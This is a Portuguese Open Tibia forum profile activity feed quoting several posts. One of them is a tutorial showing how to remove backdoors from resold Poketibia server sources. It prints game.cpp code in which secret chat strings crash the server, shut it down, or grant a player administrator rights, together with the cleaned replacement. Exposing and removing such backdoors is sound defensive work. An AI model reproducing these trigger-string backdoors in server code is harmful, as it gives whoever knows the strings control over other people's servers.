

Jaooo
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Jaooo deu reputação a arley885 em Fórum no SiteThanks broww
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Jaooo deu reputação a KotZletY em Fórum no SiteEsta é uma mensagem automática! Este tópico foi movido para a área correta.
Pedimos que você leia as regras do fórum.
@Jaooo phpbb e mybb, são as melhores bases de fórum que existe free, com suporte, plugins e muito mais.
Baixe algum e crie uma pasta na pasta htdcos chamada forum, então quando alguém colocar site.com.br/forum, vai ser redirecionado para seu fórum criado, basta você configurar o seu fórum, a db do seu fórum, e blz, criar conta, tópicos e já foi!
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Jaooo deu reputação a L3K0T em Source Poketibia - Códigos de derrubarOlá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
Código 1
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
Código 2
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {
Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
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Jaooo recebeu reputação de robson da silva em Tópico Removido.Tópico Removido.
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Jaooo recebeu reputação de Mauro Sérgio em Tópico Removido.Tópico Removido.
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Jaooo deu reputação a pirulitopiu em Tópico Removido.antes do securit eu ja tinha add gobakc ai o trabalho de como ta ficando
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Jaooo recebeu reputação de gugu.123.123.123 em Tópico Removido.Aguardando a aprovação....
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Jaooo recebeu reputação de gugu.123.123.123 em Tópico Removido.Tópico Removido.
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Jaooo deu reputação a ViitinG em [TUTORIAL] Rochas e Pedras - SpritingParabéns Thayam, seu tutorial de spriting está muito bom, irá ajudar à muitos!
Ele foi aprovado, movido para a seção correta e você ganhou 1 REP+ pela contribuição.
Esperamos mais conteúdos como este, até mais!
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Jaooo deu reputação a vyctor17 em [MOD] Otclient auto-updaterupdate 3.0
change log:
desempenho melhorado.: diversas correções no código para o programa fluir melhor e com mais velocidade,
suporte a Client "Dx9" e "opengl"
refeito em vb.net 2010
vídeo atualizado versão 3.0 + tutorial em vídeo.
Obs: se algum projeto quiser um laucher ou updater 100% customizado pode falar comigo
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Jaooo deu reputação a eliaszinho em EXCLUSIVO BASE PARECIDA (OtpokemonXY)mano isso ocorre porque você fez errado tente assim o
http://prntscr.com/bzyodo
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Jaooo deu reputação a L3K0T em [Pokemon Kpdo] Pokemon kpdo exaioros By Caterant-virus está excluindo! (desative)
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Jaooo deu reputação a lagoa em [Resolvido] [AJUDA] "ERROR: couldn't establish connection to SQL database!"Parceiro, faz o seguinte:
1º: Abra a pasta config.lua
2º: Digite ctrl+f (localizar) e ache esta linha sqlType = "mysql"
3º: Mude para sqlType = "sqlite"
4º: Curta seu servidor, pois creio que já está ok.
Te ajudei parceiro? Me dá rep+
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Jaooo deu reputação a thiagobji em [Resolvido] [AJUDA] "ERROR: couldn't establish connection to SQL database!"Affs cara, olha esse tutorial todinho aqui que você saberá por o OT e o Site ONLINE sem erro.
CLIQUE AQUI
Aconselho você utilizar o XAMPP 1.7.3 em vez do 1.6.5 como está no tópico de como por o Site e o OT Server Online.